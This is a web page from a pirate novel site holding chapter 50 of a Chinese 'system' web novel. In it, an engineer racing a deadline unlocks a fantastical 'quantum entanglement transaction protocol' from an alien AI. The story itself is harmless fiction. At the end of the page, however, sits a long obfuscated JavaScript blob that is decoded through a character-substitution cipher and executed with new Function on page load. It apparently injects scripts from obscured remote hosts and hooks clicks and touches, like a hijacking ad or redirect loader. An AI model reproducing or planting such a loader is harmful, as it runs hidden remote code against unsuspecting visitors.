首页
[切换至繁体版]
返回

第50章 绝地反击!系统解锁隐藏功能

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第50章绝地反击!系统解锁隐藏功能(第1/2页)
    1
    凌晨三点十二分,星河科技大厦二十八层。
    “星语”项目区只剩下寥寥几盏灯还亮着。大屏幕上,重构进度条停在87.6%,已经整整十个小时没有动过。空气里弥漫着焦虑、疲惫,还有某种说不清道不明的绝望。
    林辰坐在办公区中央的指挥台前,盯着屏幕上那个红色的错误提示:
    “核心事务服务启动失败:分布式事务一致性校验不通过。错误码:TX-1032。建议:回滚至上一版本。”
    这已经是今天第七次尝试启动新架构的核心模块。每一次,都在事务一致性校验这关卡死。
    “林总,日志分析完了。”王海清走过来,眼窝深陷,声音嘶哑得几乎说不出话,“问题是……无解的。我们现有的分布式事务方案,是基于两阶段提交的,但新架构的服务拆分太细,一次跨服务调用可能涉及八个微服务。两阶段提交在这种场景下,性能会降到原来的十分之一,根本没法用。”
    “业界主流方案呢?”林辰问,声音还算平稳。
    “TCC、SAGA、本地消息表……都试过了。”李浩在旁边接口,手里拿着一叠打印出来的方案对比图,“TCC要改太多业务代码,时间不够。SAGA的补偿机制我们控制不好,容易出数据不一致。本地消息表最简单,但可靠性达不到要求——万一消息丢了,数据就对不上了。”
    他放下图纸,揉了揉太阳穴:“说真的,林总,我们可能……从一开始就想错了。微服务拆分得太细,是架构上的优雅,但事务一致性这道坎,跨不过去。”
    办公区里剩下的十几个人都抬起头,看着林辰。每个人的眼神里都写着同样的信息:我们尽力了,但有些事,真的做不到。
    距离三十天重构期限,还剩最后七十二小时。
    而这最后、最关键的一步,卡死了。
    林辰没有说话。他站起来,走到落地窗前。窗外是沉睡的城市,只有零星灯火。三天前,他们刚刚完成数据库迁移,士气高涨,所有人都觉得胜利在望。三天后的现在,却被一道技术难题逼到墙角。
    不,不是技术难题。
    是死局。
    因为他清楚,王海清和李浩说的是对的。分布式事务一致性,是微服务架构的阿喀琉斯之踵。业界研究了十几年,也没有完美的通用方案。要么牺牲性能,要么牺牲一致性,要么增加复杂度——而他们,三者都承受不起。
    “林总……”王海清走到他身后,声音很轻,“要不……我们退一步?把几个服务合并回去,减少跨服务调用。虽然架构没那么优雅,但至少能跑起来……”
    “然后呢?”林辰没回头,“服务合并,架构倒退回三年前,那我们这二十七天的努力算什么?而且,合并后性能就能上去吗?可维护性呢?扩展性呢?”
    王海清沉默了。
    “让我想想。”林辰说,“你们先去休息室睡两小时。六点,我们开最后一场会。”
    团队默默散去。办公区里只剩下林辰一个人,还有大屏幕上那个刺眼的红色错误提示。
    他在窗前站了很久,然后回到指挥台,调出系统的架构图。七百多个微服务,三千多个接口,数不清的调用关系,像一张巨大而精密的蛛网。这是他带领团队,用了二十七天,一砖一瓦建起来的新世界。
    而现在,这个世界因为最基础的“一致性”问题,濒临崩塌。
    讽刺。
    “系统,”他在脑海里呼叫,“分析当前问题,给出解决方案。”
    淡蓝色界面展开,数据流快速滚动:
    【问题分析中……】
    【核心矛盾:分布式事务一致性要求与微服务细粒度拆分不可调和。】
    【现有方案评估:】
    【1.两阶段提交:性能下降87%,不可接受。】
    【2.TCC模式:改造工作量巨大,需重写60%业务代码,时间不足。】
    【3.SAGA模式:补偿逻辑复杂度高,数据一致性保障率仅92.3%。】
    【4.本地消息表:可靠性不足,消息丢失概率0.1%,对金融级应用不可用。】
    【结论:在宿主当前技术水平及时间约束下,无解。】
    无解。
    系统给出了和林辰自己分析一样的结论。
    他靠在椅子上,闭上眼睛。太阳穴突突地跳,胃部隐隐作痛——这是连续熬夜加上高压带来的身体抗议。但他现在顾不上这些。
    还有七十二小时。
    七十二小时后,如果拿不出可用的新架构,他就要兑现诺言:辞职。
    不仅如此,“星语”项目会彻底死亡,团队这二十七天的努力化为乌有,李铭对他的信任也会崩塌。而更现实的是,家里的房贷、车贷、父母的药费、孩子的学费……所有这些他刚刚扛起来的重担,会再次压下来。
    而且这次,可能扛不住了。
    因为他已经把所有的筹码,都押在了这一局。
    手机震动,是苏雨晴发来的微信:“还在公司?”
    林辰回复:“嗯,遇到点问题,要晚点。”
    “注意身体。爸妈和小宝小花都睡了,家里没事,你放心。”
    “好。”
    简短的对话。苏雨晴没多问,但她知道,一定是出了大事。否则林辰不会连续三天不回家,只在凌晨发条“还在忙”的消息。
    林辰放下手机,看着窗外的夜色。
    他想起一个月前,也是在这样的深夜里,他站在自家阳台上,想跳下去。
    是系统救了他。
    可现在,系统说“无解”。
    真的……无解吗?
    林辰重新睁开眼睛,盯着系统界面。那个淡金色的“A”字徽标在右上角悬浮,代表着A级权限,代表着他能调用的所有资源。
    但还不够。
    “系统,”他低声说,声音在空旷的办公区里回荡,“你曾经说过,你是‘高维文明遗留的辅助型人工智能’,旨在‘帮助符合条件的智慧生命突破生存困境’。现在,我的困境来了。如果这一关过不去,我之前所有的努力,都会归零。这算不算……生存困境?”
    系统沉默了三秒。
    然后,界面上浮现新的文字:
    【检测到宿主情绪波动剧烈,生存压力达到阈值。】
    【重新评估当前情境……】
    【评估完成:确认宿主处于“关键生存危机”状态。】
    【触发隐藏协议:绝境突破模式。】
    【说明:当绑定者面临可能致使其前期努力付诸东流的重大危机时,系统可临时解锁部分限制,提供超越当前文明等级的技术支援。】
    【警告:该模式消耗巨大,每次启动将消耗系统储备能量30%,并导致系统进入为期七天的“低功耗恢复期”。在此期间,除基础功能外,大部分模块将暂时关闭。】
    【是否启动“绝境突破模式”?】
    林辰的心脏猛地一跳。
    绝境突破模式。
    超越当前文明等级的技术支援。
    消耗系统储备能量30%,七天的低功耗期……
    赌注很大。
    但收益,可能是破局的关键。
    “启动。”他没有犹豫。
    【收到。启动绝境突破模式……】
    【系统能量释放中……30%……60%……100%】
    【能量释放完成。正在检索高维文明技术库……】
    【检索到匹配方案:量子纠缠事务一致性协议(QTCProtocol)】
    【技术描述:基于量子纠缠原理的分布式事务一致性解决方案。通过量子比特的纠缠态,实现跨节点的瞬时状态同步,彻底规避传统分布式事务的性能瓶颈与一致性难题。】
    【技术等级:超出当前文明1.2个等级。】
    【适配性评估:可基于宿主现有微服务架构改造,无需重写业务逻辑,改造工作量降低90%。】
    【预计改造时间:48小时。】
    【是否接收技术详情?】
    量子纠缠……事务一致性……
    林辰的呼吸几乎停滞。
    这完全超出了他的认知边界。在他的世界里,分布式事务是个工程难题,是取舍和妥协的艺术。而现在,系统给出的,是物理层面的降维打击。
    “接收。”他声音发干。
    下一秒,海量的信息涌入脑海。不是文字,不是图纸,是某种更直接的“理解”——就像突然学会了母语般自然。量子比特的制备、纠缠态的建立、退相干抑制、跨节点传输协议、事务提交与回滚的量子算法……
    每一个细节,都清晰无比。
    林辰坐在那里,一动不动,消化了整整十分钟。
    然后,他睁开眼睛。
    眼神完全变了。
    之前的焦虑、疲惫、绝望,全部消失。取而代之的,是一种近乎冰冷的专注和笃定。
    他看向大屏幕上的架构图,那些复杂的服务调用关系,现在在他眼里,变成了一个个可以附着量子事务节点的网络节点。问题没有消失,但它从一个“无解”的工程难题,变成了一个“有明确解法”的技术实现。
    “系统,”他说,“生成详细的改造方案,拆解到代码级。”
    【收到。方案生成中……】
    2
    清晨六点,休息室。
    王海清和李浩被叫醒时,还迷迷糊糊。但看到林辰的表情,两人瞬间清醒了。
    “有办法了?”王海清问。
    “有。”林辰把两台平板电脑推到他们面前,“这是新的分布式事务方案,基于量子纠缠原理。别问为什么,别问可不可行。你们只需要看,然后告诉我,能不能实现。”
    两人狐疑地接过平板,开始浏览。
    十秒钟后,王海清猛地抬头,眼睛瞪大:“量子纠缠?林总,这……这是理论物理的东西,我们这是软件工程……”
    “看下去。”林辰打断他。
    王海清咽了口唾沫,继续看。李浩也皱着眉,手指在屏幕上快速滑动。
    又过了五分钟。
    “这个量子比特的制备……需要特殊的硬件吧?”李浩抬起头,“我们上哪找量子计算机?”
    “不需要量子计算机。”林辰说,“方案里用了模拟量子纠缠的算法,在经典计算机上运行。效率会打折扣,但比传统方案至少快一百倍。”
    “可是这个退相干抑制……”
    “有算法解决。”
    “跨节点传输协议的安全性……”
    “内置了量子密钥分发。”
    林辰一个个回答,语气平稳,但每个答案都精准命中要害。就好像……他已经在脑子里把这个方案推演了千百遍。
    事实上,他确实推演了。系统的“绝境突破模式”不只是给技术,还给了一种深度的“理解”,让他能瞬间掌握这套方案的每一个细节,每一个可能的问题。
    王海清和李浩对视一眼,都从对方眼里看到了震惊,还有一丝……希望。
    “如果……如果这个方案真的可行,”王海清的声音在抖,“那我们最多四十八小时,就能完成所有改造。不,甚至更快,因为大部分业务代码都不用动,只需要加事务注解和配置。”
    “但风险呢?”李浩更谨慎,“这种级别的技术,我们从来没验证过。万一上线后出问题……”
    “没有万一。”林辰站起来,看着他们,“这是我们唯一的路。要么用这个方案,赌一把。要么,七十二小时后,项目失败,团队解散,我辞职。”
    他说得很平静,但每个字都重如千钧。
    王海清深吸一口气,握紧了平板:“林总,我跟你干。”
    李浩沉默了几秒,也点头:“我也干。最坏的结果,也就是失败而已。但如果不试,我们连赢的机会都没有。”
    “好。”林辰点头,“现在,去把所有人叫醒。我们只有四十八小时,每一分钟都不能浪费。”
    3
    清晨六点半,整个团队被紧急召集。
    会议室里挤满了人,大多睡眼惺忪,但看到林辰、王海清、李浩三人严肃的表情,都强打精神。
    “长话短说。”林辰站在白板前,手里拿着马克笔,“我们找到了解决事务一致性问题的方案。但这个方案,很新,很激进,甚至可能……听起来像天方夜谭。”
    (本章未完,请点击下一页继续阅读)第50章绝地反击!系统解锁隐藏功能(第2/2页)
    他在白板上写下几个大字:
    量子纠缠事务协议(QTC)
    会议室里响起一阵骚动。
    “量子?林总,我们做的是企业级软件,不是物理实验……”
    “我知道。”林辰抬手,压住议论,“所以我不解释原理,只讲怎么做。王总监,你来。”
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();